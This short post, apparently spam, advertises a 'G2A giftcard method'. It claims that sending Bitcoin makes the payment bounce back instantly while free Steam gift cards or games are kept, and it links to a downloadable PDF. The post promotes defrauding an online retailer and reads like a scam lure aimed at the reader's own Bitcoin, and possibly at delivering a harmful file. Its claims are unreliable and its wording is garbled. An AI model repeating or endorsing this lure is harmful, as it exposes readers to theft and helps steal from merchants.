Working in 2023. I'm tested it!
mall improvements keep being made to the script USE OLDER METHODS AT YOUR OWN RISK, this method is the original method, do not download copies from other people
To make this method work, you will need some Bitcoin (because you will have to send a payment for these products, which will be returned to your wallet instantly after making a purchase - this is how this exploit works.)
Many people are using this method just to get free games from G2A when the best thing to do is to purchase Steam Giftcards instead.
Link:
https://www.mediafire.com/file/xfi2fw6mw1ntjlc/G2A_Giftcard_Method_%2810-12-2023%29-1.pdf.pdf/file
